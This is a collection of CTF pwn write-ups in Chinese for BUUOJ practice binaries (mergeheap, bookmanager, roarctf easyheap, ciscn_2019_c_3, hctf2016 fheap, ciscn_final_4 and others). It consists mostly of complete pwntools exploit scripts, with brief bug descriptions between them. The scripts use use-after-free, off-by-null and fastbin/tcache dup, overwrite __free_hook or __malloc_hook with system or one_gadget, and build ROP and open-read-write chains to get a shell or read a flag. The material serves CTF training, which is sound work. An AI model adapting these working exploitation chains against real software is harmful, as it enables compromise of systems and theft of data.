p.recvuntil(b'a'*8)
heap=u64(p.recv(4).ljust(8,b'\x00'))-0x1940+0x30
print(hex(heap))

delete(0)
delete(1)
delete(3)

create(0x20,p64(0)+p64(0x110)+p64(heap-0x18)+p64(heap-0x10))  #chunk 0
payload=b'a'*0x80+p64(0x110)+p64(0x90)+b'a'*0x80+p64(0)+p64(0x91)+b'a'*0x80
create(len(payload),payload)
delete(2)
payload=p64(1)*2+p64(0x8)+p64(elf.got['atoi'])
edit(0,len(payload),payload)
show()
libcbase=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['atoi']
print(hex(libcbase))
sys_addr=libcbase+libc.sym['system']
edit(0,0x8,p64(sys_addr))

p.sendlineafter(b'choice: ', b'/bin/sh\x00')

#debug()
p.interactive()

hwb_2019_mergeheap

 保护全开,ida打开,又一个新奇的功能,之前的堆题没见过,翻译是合并,但是看代码倒是申请了一个新的堆块,把原有选择的两个堆块大小相加,内容先用strcpy进行一个chunk的复制,之后再调用strcat进行连接

 申请的功能,chunk的大小受限,小于0x400

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./mergeheap"
#p=process(pwn)
p=remote("node5.buuoj.cn",26333)
elf=ELF(pwn)
libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#-------------------------------------------------------------------------------------------------------
def create(size,context):
     p.sendlineafter(">>",b'1')
     p.sendlineafter("len:",str(size))
     p.sendlineafter("content:",context)
     
def show(index):
     p.sendlineafter(">>",b'2')
     p.sendlineafter("idx:",str(index))

def delete(index):
     p.sendlineafter(">>",b'3')
     p.sendlineafter("idx:",str(index))

def merge(index1,index2):
     p.sendlineafter(">>",b'4')
     p.sendlineafter("idx1:",str(index1))
     p.sendlineafter("idx2:",str(index2))

create(0x210,b'/bin/sh\x00')  #chunk 0
create(0x210,b'aaa')          #chunk 1
merge(0,1)                #chunk 2
create(0x10,b'a')         #chunk 3
delete(2)
create(8,b'a'*8)    #chunk 2
show(2)
p.recvuntil(b'a'*8)
libcbase=u64(p.recv(6).ljust(8,b'\x00'))-0x3f0-96-0x10-libc.sym['__malloc_hook']
print(hex(libcbase))

create(0x400,b'aa')  #chunk 4
free_hook=libcbase+libc.sym['__free_hook']
sys_addr=libcbase+libc.sym['system']

create(0x48,b'aaa')   #chunk 5
create(0x20,b'a'*0x20)    #chunk 6
create(0x28,b'a'*0x28)   #chunk 7
create(0x50,b'aaa')   #chunk 8
delete(5)
merge(6,7)   #chunk 5
delete(6)
delete(7)
create(0x50,p64(0)*5+p64(0x31)+p64(free_hook))
create(0x20,b'a')
create(0x20,p64(sys_addr))
delete(0)
#debug()
p. interactive()

[OGeek2019]bookmanager

 菜单堆题,程序首先就会malloc一个0x80大小的数据,且将其地址存放在栈上,rbp-8的地址,之后会让我们填入书名,之后再将书名打印出来,之后进入到菜单,创建chunk 我们只能控制内容,chunk大小固定,但是readn1函数存在off by null ,在for 循环结束后调用了memcpy,在输入的内容后加\x00

 该题有9个功能,刚开始如上图,会先申请一个chunk用来储存我们输入的名称,剩下的用来储存堆块信息,储存的是第一个功能创建章节的chunk地址,创建固定大小0x80的chunk,填入0x20大小的数据,第二个是创建0x30大小的chunk,且在刚开始会对我们输入的章节的内容进行检查,内容一致则创建,且章节chunk会储存第二个功能的指针,节chunk只让我们填入0x20大小的内容,接下的地址存放第三个功能的文本chunk,第三个文本chunk则可以自定义chunk的大小,但是最大为0x100,之后的456为删除功能,他们在进行删除功能的时候,会检查上一个chunk的状态,且对应关系是章节-》节-》文本,如果删除章节,则会把对应的节和章节都删除,依此类推,漏洞点在下图,在删除节的chunk时存在uaf,7为show功能,遍历打印,8为edit功能,且读入的函数存在了off by null

 

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./pwn"
#p=process(pwn)
p=remote("node5.buuoj.cn",26443)
elf=ELF(pwn)
libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#-------------------------------------------------------------------------------------------------------
p.sendlineafter("create: ",b'/bin/sh\x00')
def addcha(context=b'a'):
     p.sendlineafter("Your choice:",str(1))
     p.sendafter("Chapter name:",context)

def addsec(context1=b'a',context2=b'a'):
     p.sendlineafter("Your choice:",str(2))
     p.sendafter("into:",context1)
     p.recvuntil("0x0x")
     heap=int(p.recv(12),16)
     p.sendlineafter("Section name:",context2)
     return heap

def addtex(size,context1=b'aaa\n',context2=b'aaa\n'):
     p.sendlineafter("Your choice:",str(3))
     p.sendlineafter("into:",context1)
     p.sendlineafter("write:",str(size))
     p.sendafter("Text:",context2)

def dele(index,name):
     p.sendlineafter("Your choice:",str(index))   
     p.sendafter("name:",name)

def show():
     p.sendlineafter("Your choice:",str(7))
     
def edit(typ,context,context1):
     p.sendlineafter("Your choice:",str(8))
     if typ==1: 
          p.sendafter("(Chapter/Section/Text):",b'Chapter')
          p.sendafter("Chapter name:",context)
          p.sendafter("New Chapter name:",context1)
     elif typ==2:
          p.sendafter("(Chapter/Section/Text):",b'Section')
          p.sendafter("Section name:",context)
          p.sendafter("New Section name:",context1)  
     elif typ==3:
          p.sendafter("(Chapter/Section/Text):",b'Text')
          p.sendafter("Section name:",context)
          p.sendafter("New Text:",context1)  


addcha(b'1')
heapaddr=addsec(b'1',b'1.1')-0x130

addtex(0x80,b'1.1',b'a')
addtex(0x9f,b'1.1',b'a')
addtex(0x10,b'1.1',b'a')
edit(2,b'1.1',b'qjtyc\x00\x00\x00'+b'\x00'*19)
dele(6,b'qjtyc')

addtex(0x10,b'qjtyc',b'a'*8)

show()
libcbase = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))-88-0x10-libc.sym['__malloc_hook']-0xa0

free_hook=libcbase+libc.sym['__free_hook']
sys_addr=libcbase+libc.sym['system']
addsec(b'1',b'1.2')
addsec(b'1',b'1.3')

addtex(0x10,b'1.3',b'a')
edit(2,b'1.3',b'stop'+b'\x00'*0x1c+b'\x40')
edit(3,b'stop',p64(free_hook)+p64(0x20))
edit(3,b'1.2',p64(sys_addr))

edit(3,b'qjtyc',b'/bin/sh\x00')
dele(6,b'qjtyc')

#debug()
p. interactive()

hwb2018_gettingstart

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./task_gettingStart_ktQeERc"
#p=process(pwn)
p=remote("node5.buuoj.cn",26345)
elf=ELF(pwn)
#libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#Alibc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#-------------------------------------------------------------------------------------------------------
#debug('b &rebase*(0xA1B)')
p.sendafter("on you.\n",b'a'*0x18+p64(0x7FFFFFFFFFFFFFFF)+p64(0x3FB999999999999A))
#pause()

p.interactive() 

roarctf_2019_easyheap

 菜单堆题,程序在一开始的时候让我们输入姓名和信息,都储存在bss段上,之后进入菜单,创建堆块,先输入大小,有限制,整数小于0x80,只能申请10次

 下图选择calloc分配chunk或者free进行uaf的功能限制在了3次。

 还有一个功能是把chunk的指针地址上的内容打印,同时关掉了标准输入输出,利用dup进行对bss段的利用,还是很有意思的,就是sleep的指令写的烦,在泄露libc后关闭了标准输入输出,就是把大概泄露libc的再来一遍

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./roarctf_2019_easyheap"
#p=process(pwn)
p=remote("node5.buuoj.cn",27878)
elf=ELF(pwn)
libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#-------------------------------------------------------------------------------------------------------
p.sendafter("username:",p64(0)*3+p64(0x71))
p.sendafter("info:",b'a'*0x20)
def create(size,context):
      p.sendlineafter(">> ",b'1')
      p.sendlineafter("size\n",str(size))
      p.sendafter("content\n",context)
     
def delete():
      p.sendlineafter(">> ",b'2')

def show():
      p.sendlineafter(">> ",b'3')

def buildorfree(tpy,context=0):
      p.sendlineafter(">> ",b'666')    
      p.sendlineafter("build or free?\n",str(tpy))
      if tpy==1:
         p.sendlineafter("content\n",context)

chunk=0x602090-0x20
buildorfree(1,b'a')
create(0x60,b'a')
buildorfree(2)
create(0x60,b'a')
create(0x60,b'a')
delete()
buildorfree(2)
delete()
create(0x60,p64(chunk))
create(0x60,b'a')
create(0x60,b'a')
create(0x60,p64(0)+p64(elf.got['puts'])+p64(0xDEADBEEFDEADBEEF))
show()
libcbase=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['puts']
print(hex(libcbase))
malloc=libcbase+libc.sym['__malloc_hook']
onegadet=libcbase+0xf1147
realloc=libcbase+libc.sym['realloc']
p.sendline(b'666')
sleep(0.5)
#buildorfree(1,b'a')
p.sendline(b'1')
sleep(0.5)
p.sendline(b'a')
sleep(0.5)
#create(0x60,b'a')
p.sendline(b'1')
sleep(0.5)
p.sendline(str(0x60))
sleep(0.5)
p.sendline(b'a')
#buildorfree(2)
sleep(0.5)
p.sendline(b'666')
sleep(0.5)
p.sendline(b'2')
sleep(0.5)
#create(0x60,b'a')
p.sendline(b'1')
sleep(0.5)
p.sendline(str(0x60))
sleep(0.5)
p.sendline(b'a')
sleep(0.5)
#create(0x60,b'a')
p.sendline(b'1')
sleep(0.5)
p.sendline(str(0x60))
sleep(0.5)
p.sendline(b'a')
sleep(0.5)
#delete()
p.sendline(b'2')
sleep(0.5)
#buildorfree(2)
p.sendline(b'666')
sleep(0.5)
p.sendline(b'2')
sleep(0.5)
#delete()
p.sendline(b'2')
sleep(0.5)
#create(0x60,p64(malloc-0x23))
p.sendline(b'1')
sleep(0.5)
p.sendline(str(0x60))
sleep(0.5)
p.sendline(p64(malloc-0x23))
sleep(0.5)
#create(0x60,b'a')
p.sendline(b'1')
sleep(0.5)
p.sendline(str(0x60))
sleep(0.5)
p.sendline(b'a')
sleep(0.5)
#create(0x60,b'a')
p.sendline(b'1')
sleep(0.5)
p.sendline(str(0x60))
sleep(0.5)
p.sendline(b'a')
sleep(0.5)
#create(0x60,b'a'*0xb+p64(onegadet)+p64(realloc))
p.sendline(b'1')
sleep(0.5)
p.sendline(str(0x60))
sleep(0.5)
p.sendline(b'a'*0xb+p64(onegadet)+p64(realloc+0x14))
sleep(0.5)
#create(1)
p.sendline(b'1')
sleep(0.5)
p.sendline(b'1')
sleep(0.5)
p.sendline(b'exec 1>&0')
p.interactive()

ciscn_2019_c_3

 ida打开,增删查三个功能,还有一个后门函数,但是目前来看没看出什么,创建chunk的功能对chunk的大小进行了限制,删除功能存在uaf,指针未置0,然后show功能并未对chunk做过多检查

 show功能

 在想怎么进行构造的时候有了一个想法,就是既然chunk的列表只能往上增长,且我们最多能malloc9个chunk,那通过tcache绕过就需要9个chunk,那就只能获得libc基地址,且没有修改的功能,那我们就不能进行dup修改freehook的指针,那既然存在uaf,能不能free(0)  ; free(1) ; free(0) :free(1) 不太敢确认,但是瞄了眼学长的wp,哈哈,真的可以这样啊,这个后门函数的作用是将我们的函数指针指向的地址抬高,让我们chunk的fd指针指向free_hook指针地址,不知道为啥,可以改freehook指针为system函数,但是打不通,只能换one_gadget,

 

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./ciscn_2019_c_3"
#p=process(pwn)
p=remote("node5.buuoj.cn",29773)
elf=ELF(pwn)
libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#-------------------------------------------------------------------------------------------------------
def create(size,name):
      p.sendlineafter("Command: \n",b'1')
      p.sendlineafter("size: \n",str(size))
      p.sendlineafter("name: \n",name)

def show(index):
      p.sendlineafter("Command: \n",b'2')
      p.sendlineafter("index: \n",str(index))
      
def delete(index):
      p.sendlineafter("Command: \n",b'3')
      p.sendlineafter("weapon:\n",str(index))

def backdoor(index):
      p.sendlineafter("Command: \n",b'666')
      p.sendlineafter("weapon:\n",str(index))      

create(0x100,b'a')  #chunk 0
create(0x100,b'a')  #chunk 1
create(0x100,b'a')  #chunk 2
create(0x60,b'a')   #chunk 3

delete(0)
delete(1)
delete(0)
delete(1)
delete(0)
delete(1)
delete(0)

delete(2)
show(2)
p.recvuntil("times: ")
libcbase=int(p.recv(15),10)-96-0x10-libc.sym['__malloc_hook']
print(hex(libcbase))
free_hook=libcbase+libc.sym['__free_hook']
sys_addr=libcbase+libc.sym['system']
one_gadget =libcbase+0x4f322
create(0x4f,p64(free_hook-0x10)) #chunk 4
create(0x4f,b'a') #chunk 5

delete(5)
delete(4)
delete(5)

for i in range(4):
     backdoor(5)


create(0x4f,b'a')  #chunk 6
create(0x4f,b'/bin/sh\x00')  #chunk 7
create(0x4f,p64(one_gadget)) #chunk 8
delete(6)
#debug()
p. interactive()

ciscn_2019_c_5

 保护全开,ida打开,菜单堆题,只有增加和删除功能,增加功能如下,chunk最多申请16个

 删除功能存在uaf,libc2.27可以dup,但是现在还不知道libcbase基地址,看看主函数

 存在格式化字符串漏洞,可以用来泄露libc基地址和栈地址

p.sendafter("name?\n",b'a'*0x20)
stack=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(stack))
p.sendafter("ID.\n",b'a'*8)
libcbase=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-231-libc.sym['setbuffer']             #-0x81237
print(hex(libcbase))
from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./ciscn_2019_c_5"
#p=process(pwn)
p=remote("node5.buuoj.cn",28457)
elf=ELF(pwn)
libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#-------------------------------------------------------------------------------------------------------
def create(size,context):
      p.sendlineafter("choice:",b'1')
      p.sendlineafter("size of story: \n",str(size))
      p.sendlineafter("story: \n",context)

def delete(index):
      p.sendlineafter("choice:",b'4')
      p.sendlineafter("",str(index))

p.sendafter("name?\n",b'a'*0x20)
stack=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(stack))
p.sendafter("ID.\n",b'a'*8)
libcbase=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-231-libc.sym['setbuffer']             #-0x81237
print(hex(libcbase))
free_hook=libcbase+libc.sym['__free_hook']
sys_addr=libcbase+libc.sym['system']

create(0x10,b'a')  #chunk 0
create(0x10,b'a')  #chunk 1
delete(0)
delete(1)
delete(0)
create(0x10,p64(free_hook)) #chunk 2
create(0x10,b'/bin/sh\x00')  #chunk 3
create(0x10,b'a')
create(0x10,p64(sys_addr))
delete(3)
#debug()
p. interactive()

watevr_2019_voting_machine_1

 

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause() 
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./watevr_2019_voting_machine_1"
#p=process(pwn)
p=remote("node5.buuoj.cn",25603)
elf=ELF(pwn)
libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#-------------------------------------------------------------------------------------------------------
p.sendlineafter("Vote: ",b'a'*10+p64(0x4009b3)+p64(elf.got['puts'])+p64(elf.sym['puts'])+p64(elf.sym['main']))
libcbase=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['puts']
sys_addr=libcbase+libc.sym['system']
bin_sh=libcbase+next(libc.search(b'/bin/sh\x00'))
p.sendlineafter("Vote: ",b'a'*10+p64(0x400656)+p64(0x4009b3)+p64(bin_sh)+p64(sys_addr))

p.interactive() 

nsctf_online_2019_pwn2

 保护全开,ida打开,在程序的开始,会让我们输入一个储存在bss段的name,大小为0x60,然后就是进入菜单功能,四功能齐全,增加删除修改展示都有,但是都不可越界写,且chunk的指针只在bss段上存放最近操作的地址,如下图所示,且该菜单多了一个修改名字的功能,能够多溢出一个字节,让我们可以控制chunkptr指向别的chunk进行操作

 可以通过修改名字的功能多溢出一个字节,修改chunkptr的指向,先指向0x80大小的chunk,再删除他,让其放入unsorted bin, 再申请一个chunk,再将ptr的指针指向切割的chunk,泄露libc基地址

create(0x80)  #chunk 0
create(0x10)  #chunk 1
editname(b'a'*0x30+b'\x10')
delete()    #delete chunk 0
create(0x10) #chunk  0
editname(b'a'*0x30+b'\x30')
show()    
malloc=u64(p.recv(6).ljust(8,b'\x00'))-88-0x10
libcbase=malloc-libc.sym['__malloc_hook']
print(hex(libcbase))
from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./nsctf_online_2019_pwn2"
#p=process(pwn)
p=remote("node5.buuoj.cn",29059)
elf=ELF(pwn)
libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#-------------------------------------------------------------------------------------------------------
def create(size):
     p.sendlineafter("exit\n",str(1))
     p.sendlineafter("size\n",str(size))

def delete():
     p.sendlineafter("exit\n",str(2))

def show():
     p.sendlineafter("exit\n",str(3))

def edit(context):
     p.sendlineafter("exit\n",str(5))
     p.sendafter("note\n",context)

def editname(name):
     p.sendlineafter("exit\n",str(4))     
     p.sendafter("name\n",name)
p.sendafter("name",b'a'*0x30)

create(0x80)
create(0x10)
editname(b'a'*0x30+b'\x10')
delete()
create(0x10)
editname(b'a'*0x30+b'\x30')
show()
malloc=u64(p.recv(6).ljust(8,b'\x00'))-88-0x10
libcbase=malloc-libc.sym['__malloc_hook']
print(hex(libcbase))
realloc=libcbase+libc.sym['realloc']
onegadget=libcbase+0x4526a
create(0x60)
delete()
create(0x10)
editname(b'a'*0x30+b'\x30')
edit(p64(malloc-0x23))
create(0x60)
create(0x60)
edit(b'a'*(0x13-8)+p64(onegadget)+p64(realloc+8))
#debug()
create(0x10)
p. interactive()

hctf2016_fheap

 菜单堆题,libc2.23,只有创建和删除两个功能,且删除功能调用的是chunk中一段地址上存放的free函数地址

 下图是创建功能,先创建固定大小0x20的chunk,后根据我们输入的size大小进行处理,自定义大小的堆块要小于0x1000,然后进行内容的读取,之后会把我们读取的内容进行大小查看,如果大于0xf的长度,则进行自定义大小的malloc,size大小为我们的内容长度,然后进行复制填入的内容,将自定义大小的chunk的地址放入固定大小的chunk中,自定义大小的chunk地址+3存放free函数的地址。

 

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./pwn-f"
#p=process(pwn)
p=remote("node5.buuoj.cn",25320)
elf=ELF(pwn)
libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#-------------------------------------------------------------------------------------------------------
def create(size,context):
      p.sendlineafter("3.quit\n",b'create string')
      p.sendlineafter("size:",str(size))
      p.sendafter("str:",context)

def delete(index):
      p.sendlineafter("3.quit\n",b'delete string')
      p.sendlineafter("id:",str(index))
      p.sendlineafter("sure?",b'yes')


create(8,b'a'*8)
create(8,b'a'*8)
delete(1)
delete(0)

create(0x20,b'a'*0x18+b'\x2d'+b'\x00')
delete(1)
p.recvuntil(b'a'*0x18)
pro_base=u64(p.recv(6).ljust(8,b'\x00'))-0xd2d
print(hex(pro_base))

pop4=pro_base+0x11dc
rdi=pro_base+0x11e3 
ret=pro_base+0x949

delete(0)
create(0x20,b'a'*0x18+p64(pop4))
p.sendlineafter("3.quit\n",b'delete string')
p.sendlineafter("id:",str(1))
p.sendlineafter("sure?",b'yesaaaaa'+p64(rdi)+p64(pro_base+elf.got['puts'])+p64(pro_base+elf.sym['puts'])+p64(pro_base+0xBEE))

libcbase=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['puts']
print(hex(libcbase))
sys_addr=libcbase+libc.sym['system']
bin_sh=libcbase+next(libc.search(b'/bin/sh\x00'))

delete(0)

create(0x20,b'a'*0x18+p64(pop4))

p.sendlineafter("3.quit\n",b'delete string')
p.sendlineafter("id:",str(1))
p.sendlineafter("sure?",b'yesaaaaa'+p64(ret)+p64(rdi)+p64(bin_sh)+p64(sys_addr))
#debug()
p. interactive()

ciscn_2019_final_4

 ida打开,存在uaf,存在沙箱与反调试

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./ciscn_final_4"
p=process(pwn)
p=remote("node5.buuoj.cn",28257)
elf=ELF(pwn)
libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#-------------------------------------------------------------------------------------------------------
def create(size,context):
     p.sendlineafter(">> ",str(1))
     p.sendlineafter("size?\n",str(size))
     p.sendafter("content?\n",context)

def delete(index):
     p.sendlineafter(">> ",str(2))
     p.sendlineafter("index ?\n",str(index))

def show(index):
     p.sendlineafter(">> ",str(3))
     p.sendlineafter("index ?\n",str(index))

payload = b'stopstop' + b'a'*0xE0 + p64(0) + p64(0x81)
p.sendlineafter(b'name? \n', payload)


create(0x100, b'a') #index 0
create(0x78, b'a') #index 1
create(0x78, b'a') #index 2
create(0x38, b'a') #index 3
create(0x38, b'a') #index 4
create(0x10, b'a') #index 5
create(0x81, b'a') #index 6
delete(0)
show(0)
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 88 - 0x10 - libc.sym['__malloc_hook']
print(' libc_base -> ', hex(libc_base))
malloc_hook = libc_base + libc.sym['__malloc_hook']
environ = libc_base + libc.sym['__environ']


rdi = libc_base + 0x21102
rsi = libc_base + 0x202e8
rdx = libc_base + 0x1150a6
add_rsp_0x148 = libc_base + 0x353aa
openat = libc_base + libc.sym['openat']
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
puts = libc_base + libc.sym['puts']


delete(1)
delete(2)
delete(1)
note_size_6 = 0x602058 # noet_size_6 = 0x81 -> dup -> fake_chunk_addr - 8
note_ptr = 0x6020c0
create(0x78, p64(note_size_6 - 8)) #index 7
create(0x78, b'a') #index 8
create(0x78, b'\x78') #index 9
create(0x78, p32(0x68)*2 + p64(0)*11 + p64(environ)) #index 10
show(0)
stack_fake_chunk = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x120
print(' stack_fake_chunk -> ', hex(stack_fake_chunk))

delete(1)
delete(2)
delete(1)
create(0x78, p64(stack_fake_chunk)) #index 11
create(0x78, b'a') #index 12
create(0x78, b'a') #index 13
create(0x78, b'a'*0x11) #index 14
show(14)
p.recvuntil(b'a'*0x11)
canary = u64(b'\x00' + p.recv(7))
print(' canary -> ', hex(canary))

delete(1)
delete(2)
delete(1)
create(0x78, p64(stack_fake_chunk)) #index 15
create(0x78, b'a') #index 16
create(0x78, b'a') #index 17
next_rop_addr = stack_fake_chunk + 0x88
payload = b'/flag\x00\x00\x00' + p64(0)*7 + p64(rdi) + p64(0) + p64(rsi) + p64(next_rop_addr) + p64(rdx) + p64(0x1000) + p64(read)
create(0x78, payload) #index 18

stack_fake_chunk2 = stack_fake_chunk + 0x120 - 0x246
delete(3)
delete(4)
delete(3)
create(0x38, p64(stack_fake_chunk2)) #index 19
create(0x38, b'a') #index 20
create(0x38, b'a') #index 21
payload = b'\x00'*0x6 + p64(canary) + p64(0) + p64(add_rsp_0x148)
create(0x38, payload) #index 22

flag_addr = stack_fake_chunk + 0x10
buf_addr = stack_fake_chunk
orw_payload = p64(rdi) + p64(0) + p64(rsi) + p64(flag_addr) + p64(rdx) + p64(0) + p64(openat)
orw_payload += p64(rdi) + p64(3) + p64(rsi) + p64(buf_addr) + p64(rdx) + p64(0x50) + p64(read)
orw_payload += p64(rdi) + p64(buf_addr) + p64(puts)

sleep(1)
p.send(orw_payload)
p.recv()
p.interactive()

metasequoia_2020_summoner

 保护全开,ida 打开,记得之前有一道差不多的

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./metasequoia_2020_summoner"
#p=process(pwn)
p=remote("node5.buuoj.cn",27375)
elf=ELF(pwn)
#libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#-------------------------------------------------------------------------------------------------------
def show():
     p.sendlineafter("> ",b'show')

def create(context):
     p.sendlineafter("> ",b'summon '+context)

def level(index):
     p.sendlineafter("> ",b'level-up '+str(index).encode())

def delete():
     p.sendlineafter("> ",b'release ')
     
def getshell():
     p.sendlineafter("> ",b'strike')

create(b'a'*8+p64(5))
delete()
create(b'a')
getshell()
#debug()
p.interactive()

jarvisoj_itemboard

 菜单堆题,先是申请了一个0xa0大小的chunk,用来存放菜单里创建的chunk地址,相当于把放在bss段的结构体放在了堆空间,增删改三个功能,在增加的时候,先malloc一个0x30大小的chunk,用来储存姓名chunk的地址和内容chunk的地址,接下来就是free嵌套功能的地址,同时要往堆里写数据借助的是strcpy函数,存在off by null漏洞

 且这个函数存在uaf,itme的地址保存在第一个chunk中,没有置0,且itme的内容指针也在,只有姓名指针置0,那就可以利用uaf进行攻击了

 且show功能只对itemchunk进行检查,并没有检查name和内容的指针是否为真,则我们可以直接先申请两个chunk,在free掉,则其中有一个item的指向会根据fastbin链表连接,则相当于自动帮我们填充了一个地址,则直接利用show功能则能直接对chunk进行泄露,也就能得到堆地址,且六个chunk已经成为了三个链表结构,这时我们又知道了heap的地址,我们就可再申请一个chunk大小为0x18的chunk,这样我们就可以把其中之一的itemchunk的内容进行修改,再利用show函数进行泄露就行(只要itemchunk的地址上存放了两个指针就行),这就达到了任意地址泄露内容。这时我们要先泄露libc基地址,因为没有溢出,libc为2.23,则我们进行的应该是__malloc_hook,利用fastbinattack,那现在只泄露了堆地址,下一步,我们可以泄露item上储存的free功能函数的地址,它跟程序基址存在0xb39的固定偏移,我们只要在申请0x18chunk的时候把item的内容进行修改,把指针指向free功能函数地址处就行了,泄露完程序基址之后,因为got表可供修改,则我们先利用程序基址泄露libc基地址,再将got表地址修改即可,或者利用前面说的fastbinattack也行,先做吧。然后看了学长的wp,OK

